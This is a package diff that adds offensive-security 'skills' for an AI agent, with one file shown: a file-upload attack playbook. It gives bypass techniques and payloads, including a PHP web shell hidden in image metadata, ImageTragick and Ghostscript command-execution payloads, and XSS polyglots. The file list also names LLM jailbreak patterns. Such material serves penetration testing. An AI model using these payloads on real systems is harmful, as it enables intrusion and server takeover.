ineedcodes 1.6.1 → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (218) hide show
  1. package/package.json +2 -1
  2. package/skills/401-403-bypass-techniques/SKILL.md +348 -0
  3. package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
  4. package/skills/active-directory-acl-abuse/SKILL.md +295 -0
  5. package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
  6. package/skills/active-directory-certificate-services/SKILL.md +303 -0
  7. package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
  8. package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
  9. package/skills/ai-ml-security/SKILL.md +425 -0
  10. package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
  11. package/skills/android-pentesting-tricks/SKILL.md +369 -0
  12. package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
  13. package/skills/anti-debugging-techniques/SKILL.md +407 -0
  14. package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
  15. package/skills/api-authorization-and-bola/SKILL.md +48 -0
  16. package/skills/api-recon-and-docs/SKILL.md +61 -0
  17. package/skills/api-sec/SKILL.md +49 -0
  18. package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
  19. package/skills/auth-sec/SKILL.md +41 -0
  20. package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
  21. package/skills/bba-ad-attacker/SKILL.md +420 -0
  22. package/skills/bba-api-security/SKILL.md +95 -0
  23. package/skills/bba-attack-planner/SKILL.md +186 -0
  24. package/skills/bba-binary-exploit/SKILL.md +65 -0
  25. package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
  26. package/skills/bba-bug-bounty/SKILL.md +245 -0
  27. package/skills/bba-cicd-redteam/SKILL.md +515 -0
  28. package/skills/bba-cloud-security/SKILL.md +97 -0
  29. package/skills/bba-container-escape/SKILL.md +161 -0
  30. package/skills/bba-credential-tester/SKILL.md +346 -0
  31. package/skills/bba-crypto-analyst/SKILL.md +54 -0
  32. package/skills/bba-ctf-solver/SKILL.md +166 -0
  33. package/skills/bba-detection-engineer/SKILL.md +93 -0
  34. package/skills/bba-engagement-planner/SKILL.md +68 -0
  35. package/skills/bba-exploit-chainer/SKILL.md +280 -0
  36. package/skills/bba-exploit-guide/SKILL.md +96 -0
  37. package/skills/bba-forensics-analyst/SKILL.md +512 -0
  38. package/skills/bba-graphql-hunter/SKILL.md +145 -0
  39. package/skills/bba-hardware-hacker/SKILL.md +57 -0
  40. package/skills/bba-jwt-cracker/SKILL.md +133 -0
  41. package/skills/bba-llm-redteam/SKILL.md +149 -0
  42. package/skills/bba-malware-analyst/SKILL.md +305 -0
  43. package/skills/bba-mobile-pentester/SKILL.md +350 -0
  44. package/skills/bba-osint-collector/SKILL.md +645 -0
  45. package/skills/bba-payload-crafter/SKILL.md +347 -0
  46. package/skills/bba-phishing-operator/SKILL.md +516 -0
  47. package/skills/bba-poc-validator/SKILL.md +249 -0
  48. package/skills/bba-privesc-advisor/SKILL.md +98 -0
  49. package/skills/bba-purple-team/SKILL.md +56 -0
  50. package/skills/bba-recon-advisor/SKILL.md +215 -0
  51. package/skills/bba-red-team-operator/SKILL.md +61 -0
  52. package/skills/bba-report-generator/SKILL.md +145 -0
  53. package/skills/bba-reverse-engineer/SKILL.md +298 -0
  54. package/skills/bba-social-engineer/SKILL.md +341 -0
  55. package/skills/bba-ssrf-hunter/SKILL.md +120 -0
  56. package/skills/bba-stig-analyst/SKILL.md +108 -0
  57. package/skills/bba-subdomain-takeover/SKILL.md +141 -0
  58. package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
  59. package/skills/bba-threat-modeler/SKILL.md +574 -0
  60. package/skills/bba-vuln-scanner/SKILL.md +305 -0
  61. package/skills/bba-web-hunter/SKILL.md +285 -0
  62. package/skills/bba-wireless-pentester/SKILL.md +539 -0
  63. package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
  64. package/skills/binary-protection-bypass/SKILL.md +295 -0
  65. package/skills/browser-exploitation-v8/SKILL.md +334 -0
  66. package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
  67. package/skills/business-logic-vuln/SKILL.md +33 -0
  68. package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
  69. package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
  70. package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
  71. package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
  72. package/skills/classical-cipher-analysis/SKILL.md +663 -0
  73. package/skills/clickjacking/SKILL.md +163 -0
  74. package/skills/cmdi-command-injection/SKILL.md +687 -0
  75. package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
  76. package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
  77. package/skills/container-escape-techniques/SKILL.md +339 -0
  78. package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
  79. package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
  80. package/skills/crlf-injection/SKILL.md +179 -0
  81. package/skills/csp-bypass-advanced/SKILL.md +259 -0
  82. package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
  83. package/skills/csv-formula-injection/SKILL.md +144 -0
  84. package/skills/dangling-markup-injection/SKILL.md +321 -0
  85. package/skills/defi-attack-patterns/SKILL.md +355 -0
  86. package/skills/dependency-confusion/SKILL.md +178 -0
  87. package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
  88. package/skills/deserialization-insecure/SKILL.md +725 -0
  89. package/skills/dns-rebinding-attacks/SKILL.md +337 -0
  90. package/skills/email-header-injection/SKILL.md +349 -0
  91. package/skills/expression-language-injection/SKILL.md +243 -0
  92. package/skills/file-access-vuln/SKILL.md +33 -0
  93. package/skills/format-string-exploitation/SKILL.md +312 -0
  94. package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
  95. package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
  96. package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
  97. package/skills/hack/SKILL.md +162 -0
  98. package/skills/hash-attack-techniques/SKILL.md +491 -0
  99. package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
  100. package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
  101. package/skills/heap-exploitation/SKILL.md +217 -0
  102. package/skills/http-host-header-attacks/SKILL.md +323 -0
  103. package/skills/http-parameter-pollution/SKILL.md +208 -0
  104. package/skills/http2-specific-attacks/SKILL.md +350 -0
  105. package/skills/idor-broken-object-authorization/SKILL.md +336 -0
  106. package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
  107. package/skills/injection-checking/SKILL.md +50 -0
  108. package/skills/insecure-source-code-management/SKILL.md +161 -0
  109. package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
  110. package/skills/ios-pentesting-tricks/SKILL.md +418 -0
  111. package/skills/jndi-injection/SKILL.md +265 -0
  112. package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
  113. package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
  114. package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
  115. package/skills/kernel-exploitation/SKILL.md +307 -0
  116. package/skills/kubernetes-pentesting/SKILL.md +348 -0
  117. package/skills/lattice-crypto-attacks/SKILL.md +497 -0
  118. package/skills/linux-lateral-movement/SKILL.md +348 -0
  119. package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
  120. package/skills/linux-privilege-escalation/SKILL.md +346 -0
  121. package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
  122. package/skills/linux-security-bypass/SKILL.md +345 -0
  123. package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
  124. package/skills/llm-prompt-injection/SKILL.md +357 -0
  125. package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
  126. package/skills/macos-process-injection/SKILL.md +384 -0
  127. package/skills/macos-security-bypass/SKILL.md +337 -0
  128. package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
  129. package/skills/memory-forensics-volatility/SKILL.md +323 -0
  130. package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
  131. package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
  132. package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
  133. package/skills/network-protocol-attacks/SKILL.md +330 -0
  134. package/skills/nosql-injection/SKILL.md +341 -0
  135. package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
  136. package/skills/ntlm-relay-coercion/SKILL.md +267 -0
  137. package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
  138. package/skills/open-redirect/SKILL.md +380 -0
  139. package/skills/path-traversal-lfi/SKILL.md +802 -0
  140. package/skills/prototype-pollution/SKILL.md +190 -0
  141. package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
  142. package/skills/prototype-pollution-advanced/SKILL.md +338 -0
  143. package/skills/race-condition/SKILL.md +526 -0
  144. package/skills/recon-and-methodology/SKILL.md +389 -0
  145. package/skills/recon-for-sec/SKILL.md +29 -0
  146. package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
  147. package/skills/request-smuggling/SKILL.md +314 -0
  148. package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
  149. package/skills/reverse-shell-techniques/SKILL.md +290 -0
  150. package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
  151. package/skills/rsa-attack-techniques/SKILL.md +437 -0
  152. package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
  153. package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
  154. package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
  155. package/skills/sandbox-escape-techniques/SKILL.md +250 -0
  156. package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
  157. package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
  158. package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
  159. package/skills/sqli-sql-injection/SKILL.md +489 -0
  160. package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
  161. package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
  162. package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
  163. package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
  164. package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
  165. package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
  166. package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
  167. package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
  168. package/skills/stack-overflow-and-rop/SKILL.md +304 -0
  169. package/skills/steganography-techniques/SKILL.md +348 -0
  170. package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
  171. package/skills/subdomain-takeover/SKILL.md +247 -0
  172. package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
  173. package/skills/symbolic-execution-tools/SKILL.md +419 -0
  174. package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
  175. package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
  176. package/skills/traffic-analysis-pcap/SKILL.md +341 -0
  177. package/skills/tunneling-and-pivoting/SKILL.md +343 -0
  178. package/skills/type-juggling/SKILL.md +291 -0
  179. package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
  180. package/skills/unauthorized-access-common-services/SKILL.md +388 -0
  181. package/skills/upload-insecure-files/SCENARIOS.md +158 -0
  182. package/skills/upload-insecure-files/SKILL.md +543 -0
  183. package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
  184. package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
  185. package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
  186. package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
  187. package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
  188. package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
  189. package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
  190. package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
  191. package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
  192. package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
  193. package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
  194. package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
  195. package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
  196. package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
  197. package/skills/waf-bypass-techniques/SKILL.md +290 -0
  198. package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
  199. package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
  200. package/skills/web-cache-deception/SKILL.md +222 -0
  201. package/skills/websocket-security/SKILL.md +454 -0
  202. package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
  203. package/skills/windows-av-evasion/SKILL.md +342 -0
  204. package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
  205. package/skills/windows-lateral-movement/SKILL.md +335 -0
  206. package/skills/windows-privilege-escalation/SKILL.md +328 -0
  207. package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
  208. package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
  209. package/skills/xslt-injection/SKILL.md +281 -0
  210. package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
  211. package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
  212. package/skills/xss-cross-site-scripting/SKILL.md +379 -0
  213. package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
  214. package/skills/xxe-xml-external-entity/SKILL.md +554 -0
  215. package/src/agent.js +1 -1
  216. package/src/session.js +6 -3
  217. package/src/skills.js +30 -6
  218. package/src/ui.js +1 -1
@@ -0,0 +1,543 @@
1
+ ---
2
+ name: upload-insecure-files
3
+ description: >-
4
+ Insecure file upload playbook. Use when testing upload validation, storage paths, processing pipelines, preview behavior, overwrite risks, and upload-to-RCE chains.gated: true
5
+ ---
6
+
7
+ # SKILL: Upload Insecure Files — Validation Bypass, Storage Abuse, and Processing Chains
8
+
9
+ > **AI LOAD INSTRUCTION**: Expert file upload attack playbook. Use when the target accepts files, imports, avatars, media, documents, or archives and you need the full workflow: validation bypass, storage path abuse, post-upload access, parser exploitation, multi-tenant overwrite, and chaining into XSS, XXE, CMDi, traversal, or business logic impact. For web server parsing vulnerabilities, PUT method exploitation, and specific CVEs (WebLogic, Flink, Tomcat), load the companion [SCENARIOS.md](./SCENARIOS.md).
10
+
11
+ ## 0. RELATED ROUTING
12
+
13
+ ### Extended Scenarios
14
+
15
+ Also load [SCENARIOS.md](./SCENARIOS.md) when you need:
16
+ - IIS parsing vulnerabilities — `x.asp/` directory parsing, `;` semicolon truncation (`shell.asp;.jpg`)
17
+ - Nginx parsing misconfiguration — `avatar.jpg/.php` with `cgi.fix_pathinfo=1`
18
+ - Apache parsing — multiple extensions, `AddHandler`, CVE-2017-15715 `\n` (0x0A) bypass
19
+ - PUT method exploitation — IIS WebDAV PUT+COPY, Tomcat CVE-2017-12615 `readonly` + `.jsp/` bypass
20
+ - WebLogic CVE-2018-2894 arbitrary file upload via Web Service Test Page
21
+ - Apache Flink CVE-2020-17518 file upload with path traversal
22
+ - Upload + parsing vulnerability chain — EXIF PHP code + Nginx `/.php` path info
23
+ - Full extension bypass reference table (PHP/ASP/JSP alternatives, case variations, null bytes)
24
+
25
+ Use this file as the deep upload workflow reference. Also load:
26
+
27
+ - [path traversal lfi](../path-traversal-lfi/SKILL.md) when filename, extraction path, or include path becomes file-system control
28
+ - [xss cross site scripting](../xss-cross-site-scripting/SKILL.md) when uploads are rendered in browser contexts
29
+ - [xxe xml external entity](../xxe-xml-external-entity/SKILL.md) when SVG, OOXML, or XML imports are accepted
30
+ - [cmdi command injection](../cmdi-command-injection/SKILL.md) when a processor, converter, or media pipeline executes system tools
31
+ - [business logic vulnerabilities](../business-logic-vulnerabilities/SKILL.md) when quotas, overwrite rules, approvals, or storage paths create logic bugs
32
+ - [ghost-bits-cast-attack](../ghost-bits-cast-attack/SKILL.md) when the server is **Apache Tomcat** and the WAF blocks `.jsp` in `filename*` — Tomcat's `RFC2231Utility` narrows each char to byte, so `1.陪sp` (U+966A low byte = `j`) writes `1.jsp` to disk while the WAF sees no `.jsp` literal
33
+
34
+ ---
35
+
36
+ ## 1. CORE MODEL
37
+
38
+ Every upload feature should be tested as four separate trust boundaries:
39
+
40
+ 1. **Accept**: what validation happens before the file is stored?
41
+ 2. **Store**: where is the file written and under what name and permissions?
42
+ 3. **Process**: what background tools, converters, scanners, parsers, or extractors touch it?
43
+ 4. **Serve**: how is it later downloaded, rendered, transformed, or shared?
44
+
45
+ Many targets validate only one stage. The bug usually appears in a different stage than the one where the file was uploaded.
46
+
47
+ ---
48
+
49
+ ## 2. RECON QUESTIONS FIRST
50
+
51
+ Before payload selection, answer these:
52
+
53
+ - Which extensions are allowed, denied, or normalized?
54
+ - Does the backend trust extension, MIME type, magic bytes, or all three?
55
+ - Is the file renamed, transcoded, unzipped, scanned, or re-hosted?
56
+ - Is retrieval direct, proxied, signed, or served from a CDN?
57
+ - Can one user predict or overwrite another user's file path?
58
+ - Do filenames, metadata, or previews reflect back into HTML, logs, admin consoles, or PDFs?
59
+
60
+ ---
61
+
62
+ ## 3. VALIDATION BYPASS MATRIX
63
+
64
+ | Validation Style | What to Test |
65
+ |---|---|
66
+ | extension blacklist | double extension, case toggles, trailing dot, alternate separators |
67
+ | content-type only | mismatched multipart `Content-Type`, browser vs proxy rewrite |
68
+ | magic-byte only | polyglot files or valid header plus dangerous tail content |
69
+ | server-side rename | whether dangerous content survives rename and later rendering |
70
+ | image-only policy | SVG, malformed image plus metadata, parser differential |
71
+ | archive or import only | zip contents, nested path names, XML members, decompression behavior |
72
+
73
+ Representative bypass families:
74
+
75
+ ```text
76
+ shell.php.jpg
77
+ avatar.jpg.php
78
+ file.asp;.jpg
79
+ file.php%00.jpg
80
+ file.svg
81
+ archive.zip
82
+ ```
83
+
84
+ This small sample set already covers the main use cases of the former standalone upload payload helper, so no extra entry is needed for first-pass selection.
85
+
86
+ Do not stop at upload success. Successful upload without dangerous retrieval or processing is not enough.
87
+
88
+ ---
89
+
90
+ ## 4. STORAGE AND RETRIEVAL ABUSE
91
+
92
+ ### Predictable or controllable paths
93
+
94
+ Look for patterns like:
95
+
96
+ ```text
97
+ /uploads/USER_ID/avatar.png
98
+ /files/org-slug/report.pdf
99
+ /cdn/tmp/<uuid>/<filename>
100
+ ```
101
+
102
+ Test for:
103
+
104
+ - cross-tenant read by guessing IDs, slugs, or UUID patterns
105
+ - overwrite by reusing another user's filename
106
+ - path normalization bugs in filename or archive members
107
+ - private file exposed through direct object URL despite UI-level access control
108
+
109
+ ### Filename-based injection surfaces
110
+
111
+ A safe file can still be dangerous if the **filename** is reflected into:
112
+
113
+ - gallery HTML
114
+ - admin moderation panels
115
+ - PDF/CSV export jobs
116
+ - logs, audit views, or email notifications
117
+
118
+ If filename is reflected, treat it like stored input, not like passive metadata.
119
+
120
+ ---
121
+
122
+ ## 5. PROCESSING-CHAIN ATTACKS
123
+
124
+ The highest-value upload bugs often live in asynchronous processors.
125
+
126
+ ### Common processor classes
127
+
128
+ | Processor | Risk |
129
+ |---|---|
130
+ | image resizing or thumbnailing | parser differential, ImageMagick or library bugs, metadata reflection |
131
+ | video or audio transcoding | FFmpeg-style parsing and protocol abuse |
132
+ | archive extraction | zip slip, overwrite, decompression bombs |
133
+ | document import | CSV formula injection, office XML parsing, macro-adjacent workflows |
134
+ | XML or SVG parsing | XXE, SSRF, local file disclosure |
135
+ | HTML to PDF or preview rendering | SSRF, script execution, local file references |
136
+ | AV or DLP scanning | unzip depth, hidden nested content, race conditions |
137
+
138
+ ### What to prove
139
+
140
+ 1. The file is touched by a processor.
141
+ 2. The processor behaves differently from the upload validator.
142
+ 3. That difference creates impact: read, execute, overwrite, SSRF, or stored client-side execution.
143
+
144
+ ---
145
+
146
+ ## 6. HIGH-VALUE EXPLOITATION PATHS
147
+
148
+ ### Browser execution
149
+
150
+ - SVG served as active content
151
+ - HTML or text uploads rendered inline
152
+ - EXIF or filename reflected into an HTML page
153
+
154
+ ### XML and document parsing
155
+
156
+ - SVG XXE for file read or SSRF
157
+ - OOXML import for XML entity or parser abuse
158
+ - CSV import for formula execution in analyst workflows
159
+
160
+ ### Server-side execution or file-system impact
161
+
162
+ - image or document converter invoking shell tools
163
+ - zip slip writing outside intended directory
164
+ - upload-to-LFI chain where uploaded content later becomes includable
165
+
166
+ ### Access-control and sharing bugs
167
+
168
+ - private upload accessible via predictable URL
169
+ - moderation or quarantine path still publicly reachable
170
+ - one user replacing another user's public asset
171
+
172
+ ---
173
+
174
+ ## 7. AUTHORIZATION AND BUSINESS LOGIC CHECKS
175
+
176
+ Upload features frequently hide non-parser bugs:
177
+
178
+ - upload quota enforced in UI but not API
179
+ - plan restrictions checked on upload page but not on import endpoint
180
+ - file ownership checked on list view but not on direct download or replace endpoint
181
+ - approval workflow bypassed by calling the final storage endpoint directly
182
+ - delete or replace action missing object-level authorization
183
+
184
+ When the upload path includes account, project, or organization identifiers, always run an A/B authorization test.
185
+
186
+ ---
187
+
188
+ ## 8. TEST SEQUENCE
189
+
190
+ 1. Upload one benign marker file and map rename, path, and retrieval behavior.
191
+ 2. Try one validation-bypass sample and one active-content sample.
192
+ 3. Check whether retrieval is attachment, inline render, transformed preview, or background processing.
193
+ 4. If processing exists, pivot by processor family: XSS, XXE, CMDi, zip slip, or SSRF.
194
+ 5. Run tenant-boundary and overwrite tests on file IDs, replace endpoints, and public URLs.
195
+
196
+ ---
197
+
198
+ ## 9. CHAINING MAP
199
+
200
+ | Observation | Pivot |
201
+ |---|---|
202
+ | SVG or XML accepted | [xxe xml external entity](../xxe-xml-external-entity/SKILL.md) |
203
+ | filename or metadata reflected | [xss cross site scripting](../xss-cross-site-scripting/SKILL.md) |
204
+ | converter or processor shells out | [cmdi command injection](../cmdi-command-injection/SKILL.md) |
205
+ | extraction path looks controllable | [path traversal lfi](../path-traversal-lfi/SKILL.md) |
206
+ | overwrite, quota, approval, or tenant bug | [business logic vulnerabilities](../business-logic-vulnerabilities/SKILL.md) |
207
+
208
+ ---
209
+
210
+ ## 10. OPERATOR CHECKLIST
211
+
212
+ ```text
213
+ [] Confirm accept/store/process/serve stages separately
214
+ [] Test one extension bypass and one content-based payload
215
+ [] Check inline render vs forced download
216
+ [] Inspect filenames, metadata, and preview surfaces for reflection
217
+ [] Probe processing chain: image, archive, XML, document, PDF
218
+ [] Run A/B authorization on read, replace, delete, and share actions
219
+ [] Map predictable paths and public/private URL boundaries
220
+ ```
221
+
222
+ ---
223
+
224
+ ## 11. UPLOAD SUCCESS RATE MODEL & ADVANCED METHODOLOGY
225
+
226
+ ### Success Rate Formula
227
+
228
+ ```
229
+ P(RCE via Upload) = P(bypass_detection) × P(obtain_path) × P(execute_via_webserver)
230
+ ```
231
+
232
+ Many testers focus only on bypassing file type checks, but forget:
233
+
234
+ - **Path discovery**: Without knowing the upload path, even a successful bypass is useless
235
+ - **Server parsing**: Even with a `.php` file uploaded, if the web server doesn't parse it as PHP, no RCE
236
+
237
+ ### Rich Text Editor Path Matrix
238
+
239
+ | Editor | Common Upload Path | Version Indicator |
240
+ |---|---|---|
241
+ | FCKeditor | `/fckeditor/editor/filemanager/connectors/` | `/fckeditor/_whatsnew.html` |
242
+ | CKEditor | `/ckeditor/` | `/ckeditor/CHANGES.md` |
243
+ | eWebEditor | `/ewebeditor/` | Admin: `/ewebeditor/admin_login.asp` |
244
+ | KindEditor | `/kindeditor/attached/` | `/kindeditor/kindeditor.js` |
245
+ | UEditor | `/ueditor/net/` or `/ueditor/php/` | `/ueditor/ueditor.config.js` |
246
+
247
+ ### Validation Defect Taxonomy (5 Dimensions)
248
+
249
+ | Dimension | Flaw Examples |
250
+ |---|---|
251
+ | **Location** | Client-side only, inconsistent front/back |
252
+ | **Method** | Extension blacklist (incomplete), MIME check only, magic bytes only |
253
+ | **Logic order** | Renames AFTER execution check, validates BEFORE full upload |
254
+ | **Scope** | Checks filename but not file content, checks first bytes only |
255
+ | **Execution context** | Upload succeeds but different vhost/handler processes the file |
256
+
257
+ ### Response Manipulation Bypass
258
+
259
+ ```
260
+ # If server returns allowedTypes in response for client-side validation:
261
+ # Intercept response → modify allowedTypes to include .php → upload .php
262
+ # The server never actually validates — it trusts client filtering
263
+ ```
264
+
265
+ ### IIS Semicolon Parsing
266
+
267
+ ```
268
+ # IIS treats semicolon as parameter delimiter in filenames:
269
+ shell.asp;.jpg → IIS executes as ASP
270
+ # NTFS Alternate Data Stream:
271
+ shell.asp::$DATA → Bypasses extension check, IIS may execute
272
+ ```
273
+
274
+ ### Apache Multi-Extension
275
+
276
+ ```
277
+ # Apache parses right-to-left for handler:
278
+ shell.php.jpg → May execute as PHP if AddHandler php applies
279
+ # Newline in filename (CVE-2017-15715):
280
+ shell.php\x0a → Bypasses regex but Apache still executes as PHP
281
+ ```
282
+
283
+ ### Nginx cgi.fix_pathinfo
284
+
285
+ ```
286
+ # With cgi.fix_pathinfo=1 (PHP-FPM):
287
+ /uploads/image.jpg/anything.php → PHP processes image.jpg as PHP!
288
+ # Upload legitimate-looking JPG with PHP code embedded
289
+ ```
290
+
291
+ ---
292
+
293
+ ## 12. POLYGLOT FILE TECHNIQUES
294
+
295
+ Files that are simultaneously valid in two or more formats, bypassing format-specific validation while delivering a dangerous payload.
296
+
297
+ ### GIFAR (GIF + JAR)
298
+
299
+ ```text
300
+ # GIF header + JAR appended
301
+ # GIF89a header (6 bytes) + padding + JAR archive (ZIP format)
302
+ # Browser: valid GIF image
303
+ # Java: valid JAR archive → applet execution (legacy)
304
+
305
+ cat header.gif payload.jar > gifar.gif
306
+ # Passes image validation, executes as Java applet if loaded via <applet>
307
+ ```
308
+
309
+ ### PNG + PHP polyglot
310
+
311
+ ```bash
312
+ # Inject PHP code into PNG IDAT chunk or tEXt metadata
313
+ # The PNG renders as valid image; when included via LFI, PHP code executes
314
+
315
+ # Method 1: PHP in tEXt chunk
316
+ python3 -c "
317
+ import struct
318
+ png_header = b'\x89PNG\r\n\x1a\n'
319
+ # ... minimal IHDR + IDAT + tEXt chunk containing PHP
320
+ "
321
+
322
+ # Method 2: Use exiftool to inject into comment
323
+ exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.png
324
+ # Upload image.png → LFI include → PHP executes from metadata
325
+ ```
326
+
327
+ ### JPEG + JS polyglot
328
+
329
+ ```bash
330
+ # JPEG comment marker (0xFFFE) can contain JavaScript
331
+ # If served with Content-Type: text/html (or MIME sniffing active):
332
+ exiftool -Comment='<script>alert(document.domain)</script>' photo.jpg
333
+
334
+ # Combined with content-type confusion → XSS via image upload
335
+ ```
336
+
337
+ ### PDF + JS polyglot
338
+
339
+ ```text
340
+ # PDF header followed by JS:
341
+ %PDF-1.0
342
+ 1 0 obj<</Pages 2 0 R>>endobj
343
+ 2 0 obj<</Kids[3 0 R]/Count 1>>endobj
344
+ 3 0 obj<</MediaBox[0 0 3 3]>>endobj
345
+ trailer<</Root 1 0 R>>
346
+ */=alert('XSS')/*
347
+ ```
348
+
349
+ ---
350
+
351
+ ## 13. IMAGEMAGICK EXPLOITATION CHAIN
352
+
353
+ ### CVE-2016-3714 (ImageTragick) — RCE via Delegates
354
+
355
+ ImageMagick uses "delegates" (external programs) for certain format conversions. Specially crafted files trigger shell command execution:
356
+
357
+ ### MVG (Magick Vector Graphics)
358
+
359
+ ```text
360
+ push graphic-context
361
+ viewbox 0 0 640 480
362
+ fill 'url(https://example.com/image.jpg"|id > /tmp/pwned")'
363
+ pop graphic-context
364
+ ```
365
+
366
+ ### SVG delegate abuse
367
+
368
+ ```xml
369
+ <?xml version="1.0" standalone="no"?>
370
+ <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
371
+ <svg width="640px" height="480px">
372
+ <image xlink:href="https://example.com/image.jpg&quot;|id > /tmp/pwned&quot;" x="0" y="0"/>
373
+ </svg>
374
+ ```
375
+
376
+ ### Ghostscript exploitation
377
+
378
+ ImageMagick delegates to Ghostscript for PDF/PS/EPS processing. Ghostscript has had multiple sandbox escapes:
379
+
380
+ ```postscript
381
+ %!PS
382
+ userdict /setpagedevice undef
383
+ save
384
+ legal
385
+ { null restore } stopped { pop } if
386
+ { legal } stopped { pop } if
387
+ restore
388
+ mark /OutputFile (%pipe%id > /tmp/pwned) currentdevice putdeviceprops
389
+ ```
390
+
391
+ Upload as `.eps`, `.ps`, or `.pdf` → ImageMagick invokes Ghostscript → RCE.
392
+
393
+ ### Mitigation check
394
+
395
+ ```text
396
+ □ Is ImageMagick policy.xml restricting dangerous coders?
397
+ <policy domain="coder" rights="none" pattern="MVG" />
398
+ <policy domain="coder" rights="none" pattern="MSL" />
399
